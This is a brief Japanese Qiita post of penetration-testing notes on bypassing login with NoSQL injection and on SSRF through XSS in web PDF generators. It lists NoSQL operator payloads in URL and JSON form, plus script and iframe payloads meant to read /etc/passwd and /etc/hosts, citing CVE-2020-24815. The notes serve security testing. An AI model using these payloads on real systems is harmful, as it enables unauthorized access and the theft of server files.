LoginSignup
0
0

More than 1 year has passed since last update.

NoSQL Authentication BypassとXSSからのSSRF

Posted at

認証のバイパスは、SQLInjectionだけではなく、NoSQLからも可能。
https://book.hacktricks.xyz/pentesting-web/nosql-injection

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

このあたりは要注意。

ウェブサービスでPDFが生成される時は以下の脆弱性を確認すること。

MicroStrategy SSRF through PDF Generator (CVE-2020-24815)
https://www.triskelelabs.com/blog/extracting-your-aws-access-keys-through-a-pdf-file

BurpでXSSが可能かどうか確認し、SSRF攻撃を実施。/etc/passwd や /etc/hostsが取れる可能性あり。

<script> document.write(document.location.href); </script>

<iframe src=/etc/passwd></iframe>
<iframe src=/etc/passwd height=1000 width=1000></iframe>

を試そう。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0